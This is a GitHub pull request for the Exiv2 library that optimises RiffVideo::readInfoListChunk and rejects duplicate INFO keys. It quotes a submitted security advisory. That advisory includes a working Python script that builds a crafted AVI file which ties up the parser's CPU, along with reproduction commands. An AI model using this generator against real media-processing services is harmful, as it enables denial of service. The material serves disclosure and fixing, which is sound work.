Skip to content

Check for duplicates in RiffVideo::readInfoListChunk - #9369

Merged
kevinbackhouse merged 3 commits into
Exiv2:0.28.xfrom
kevinbackhouse:readInfoListChunk-performance
Jul 23, 2026
Merged

Check for duplicates in RiffVideo::readInfoListChunk#9369
kevinbackhouse merged 3 commits into
Exiv2:0.28.xfrom
kevinbackhouse:readInfoListChunk-performance

Conversation

@kevinbackhouse

Copy link
Copy Markdown
Collaborator

We've had some security reports about RiffVideo::readInfoListChunk() because it's a bit slow when you give it a long list to process. The complexity of this code is linear but the constant factor cost of inserting an element into xmpData_ is high. I got a 4x speedup by copying the elements into a std::map first (to eliminate duplicate keys). But duplicate keys probably only happen in malformed input files, so I've also added an enforce to disallow duplicates.

I don't think this is a security issue because it's just slow performance. It's not a quadratic algorithm, just constant factor slowness.

@kevinbackhouse

Copy link
Copy Markdown
Collaborator Author

Example security report, sent by @ThureinOo:

Security Advisory: Infinite Loop / CPU Exhaustion in RiffVideo::readInfoListChunk()


Summary

A crafted AVI file with zero-size INFO list entries causes RiffVideo::readInfoListChunk() to enter an effectively infinite loop, consuming 100% CPU for 10+ seconds. The loop counter current_size increments by only 8 bytes per iteration when the entry size is zero, requiring millions of iterations to reach the attacker-controlled size_ threshold. This is a denial-of-service vulnerability affecting any application that uses libexiv2 to parse AVI/RIFF file metadata.


Severity

  • CVSS: 7.5 (High) -- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
  • CWE: CWE-835 (Loop with Unreachable Exit Condition)

Affected Version

  • Package: https://github.com/Exiv2/exiv2
  • Version: latest main branch (confirmed April 2026)
  • File: src/riffvideo.cpp
  • Function: RiffVideo::readInfoListChunk()
  • Lines: 656-666

Vulnerability Details

Root Cause

The readInfoListChunk() function iterates over INFO list entries inside a RIFF/AVI file. Each iteration reads a 4-byte type tag and a 4-byte size field from the file, then reads size bytes of content. The loop counter current_size is incremented by DWORD*2 + size per iteration.

When the entry's size field is zero:

  1. readStringTag(io_, 0) reads zero bytes -- the IO position does not advance for content
  2. current_size increments by only DWORD*2 = 8 bytes
  3. Once IO reaches EOF, subsequent readDWORDTag() calls return 0, perpetuating the zero-size condition
void RiffVideo::readInfoListChunk(uint64_t size_) {
  uint64_t current_size = DWORD;
  while (current_size < size_) {
    std::string type = readStringTag(io_);
    size_t size = readDWORDTag(io_);          // attacker-controlled, can be 0
    std::string content = readStringTag(io_, size); // reads 0 bytes when size=0
    if (auto it = Internal::infoTags.find(type); it != Internal::infoTags.end())
      xmpData_[it->second] = content;
    current_size += DWORD * 2;   // += 8 always
    current_size += size;        // += 0 when size=0!
  }
}

With size_ set to 0x007FFFFF (8,388,607), the loop must execute over 1 million iterations (size_ / 8) before current_size reaches size_. With size_=0x7FFFFFFF, this increases to ~268 million iterations.


Proof of Concept

PoC Generator (gen_poc2_loop.py)

#!/usr/bin/env python3
"""
Generates a crafted AVI that causes exiv2 to loop for 10+ seconds at 100% CPU.
Root cause: zero-size INFO list entries cause current_size to increment by only
8 bytes per iteration. With ~262K entries the loop runs 10+ seconds.
"""
import struct, os

def dword(n): return struct.pack('<I', n)
def tag(s):   return s.encode()[:4]

# AVI main header (avih) -- 30 fps, rest zeroed
avih_data  = dword(33333) + dword(0) * 13
avih_chunk = tag('avih') + dword(len(avih_data)) + avih_data

# Header list (hdrl)
hdrl_payload = tag('hdrl') + avih_chunk
hdrl = tag('LIST') + dword(len(hdrl_payload)) + hdrl_payload

# Zero-size INAM entry: 8 bytes each, reads 0 content bytes
info_entry = tag('INAM') + dword(0)

# Fill ~2 MB with zero-size entries.  Sizes must be consistent
# across RIFF container and LIST chunk or exiv2 rejects the file.
TARGET_SIZE  = 0x200000
header_bytes = 8 + 4 + len(hdrl) + 8   # RIFF hdr + 'AVI ' + hdrl + LIST hdr
available    = TARGET_SIZE - header_bytes - 4  # 4 = 'INFO' tag
num_entries  = available // len(info_entry)

info_payload = tag('INFO') + (info_entry * num_entries)
info_list    = tag('LIST') + dword(len(info_payload)) + info_payload

riff_payload = tag('AVI ') + hdrl + info_list
riff = tag('RIFF') + dword(len(riff_payload)) + riff_payload

with open('poc2_loop_v2.avi', 'wb') as f:
    f.write(riff)
print(f"[+] Written poc2_loop_v2.avi ({len(riff)} bytes)")

Steps to Reproduce

# 1. Build exiv2 from main branch
git clone https://github.com/Exiv2/exiv2.git
cd exiv2
cmake -S . -B build -DCMAKE_BUILD_TYPE=Debug
cmake --build build --parallel

# 2. Generate the PoC payload
python3 gen_poc2_loop.py

# 3. Run against the PoC file (will hang for 10+ seconds)
time timeout 15 build/bin/exiv2 -pa poc2_loop_v2.avi

Expected (correct) Output

Parser rejects the malformed INFO list or completes in under 1 second.

Actual Output (vulnerable)

(process hangs for 10+ seconds consuming 100% CPU before timeout kills it)

real    0m10.XXXs
user    0m10.XXXs

Manual Verification

# Monitor CPU usage during parsing
timeout 15 build/bin/exiv2 -pa payload/poc2_loop_v2.avi &
top -p $!
# Observe: exiv2 process at 100% CPU for the entire duration

Output Analysis

The process does not crash or produce an error message. It simply consumes 100% of one CPU core for the duration of the loop. The poc2_loop_v2.avi file (2MB) is filled with zero-size INAM entries with consistent RIFF/LIST sizes, which passes exiv2's container validation and enters the vulnerable readInfoListChunk() loop. The loop runs ~262K iterations (2MB / 8 bytes per iteration) causing 10+ seconds of CPU exhaustion.

Note: A minimal 500-byte variant with an inflated LIST size does NOT work — exiv2 detects the size mismatch between the RIFF container and LIST chunk and rejects it as "corrupted image metadata" before reaching the vulnerable code path. The payload must have consistent sizes throughout.


Impact

  • Confidentiality: None -- no data is leaked.
  • Integrity: None -- no data is corrupted.
  • Availability: High -- a single crafted file causes 10+ seconds of CPU exhaustion per parse. With size_=0x7FFFFFFF the hang extends to minutes. Multiple concurrent requests can exhaust all CPU cores.
  • Attack vector: Network (any untrusted AVI file processed by an application using libexiv2). Affected applications include GNOME Nautilus, KDE Dolphin/digiKam, gThumb, Darktable, and server-side media pipelines.

Suggested Fix

Add validation to reject zero-size entries and validate entry bounds against the remaining list size:

void RiffVideo::readInfoListChunk(uint64_t size_) {
  uint64_t current_size = DWORD;
  while (current_size < size_) {
    std::string type = readStringTag(io_);
    size_t size = readDWORDTag(io_);

    // Reject zero-size entries to prevent excessive iteration
    Internal::enforce(size > 0, Exiv2::ErrorCode::kerCorruptedMetadata);
    // Validate entry fits within remaining list boundary
    Internal::enforce(current_size + DWORD * 2 + size <= size_,
                      Exiv2::ErrorCode::kerCorruptedMetadata);

    std::string content = readStringTag(io_, size);
    if (auto it = Internal::infoTags.find(type); it != Internal::infoTags.end())
      xmpData_[it->second] = content;
    current_size += DWORD * 2;
    current_size += size;
  }
}

References

@kevinbackhouse kevinbackhouse added the forward-to-main Forward changes in a 0.28.x PR to main with Mergify label Jun 28, 2026
@kevinbackhouse
kevinbackhouse marked this pull request as ready for review June 28, 2026 21:48
Copilot AI review requested due to automatic review settings June 28, 2026 21:48
@kevinbackhouse kevinbackhouse added this to the v0.28.9 milestone Jun 28, 2026

Copilot AI left a comment

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Pull request overview

This PR optimizes RiffVideo::readInfoListChunk() by buffering INFO-list tags into a temporary associative container before updating xmpData_, aiming to reduce repeated expensive inserts and detect duplicates.

Changes:

  • Collect INFO-list entries into a temporary std::map before writing to xmpData_.
  • Add a duplicate check/enforcement intended to reject duplicate mapped keys.
  • Copy buffered entries from the temporary table into xmpData_ at the end.
Show a summary per file
File Description
src/riffvideo.cpp Buffers INFO-list metadata in a temporary map, adds duplicate enforcement, then copies into xmpData_ to reduce repeated inserts.

Review details

Tip

Add Copilot custom instructions for smarter, more guided reviews. Learn how to get started.

  • Files reviewed: 1/1 changed files
  • Comments generated: 2
  • Review effort level: Low

Comment thread src/riffvideo.cpp
Comment on lines +659 to +663
if (auto it = Internal::infoTags.find(type); it != Internal::infoTags.end()) {
// Check that it isn't a duplicate.
Internal::enforce(table.find(it->second) == table.end(), ErrorCode::kerCorruptedMetadata);
table[it->second] = content;
}
Comment thread src/riffvideo.cpp
kevinbackhouse and others added 2 commits July 4, 2026 22:09
Co-authored-by: Copilot Autofix powered by AI <175728472+Copilot@users.noreply.github.com>
@kevinbackhouse
kevinbackhouse requested review from kmilos and neheb July 22, 2026 22:03
@mergify

mergify Bot commented Jul 22, 2026

Copy link
Copy Markdown
Contributor

Tick the box to add this pull request to the merge queue (same as @mergifyio queue).

  • Queue this pull request

@kevinbackhouse
kevinbackhouse merged commit 1ea7a64 into Exiv2:0.28.x Jul 23, 2026
78 checks passed
@kevinbackhouse
kevinbackhouse deleted the readInfoListChunk-performance branch July 23, 2026 12:52
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

forward-to-main Forward changes in a 0.28.x PR to main with Mergify

Projects

None yet

Development

Successfully merging this pull request may close these issues.

3 participants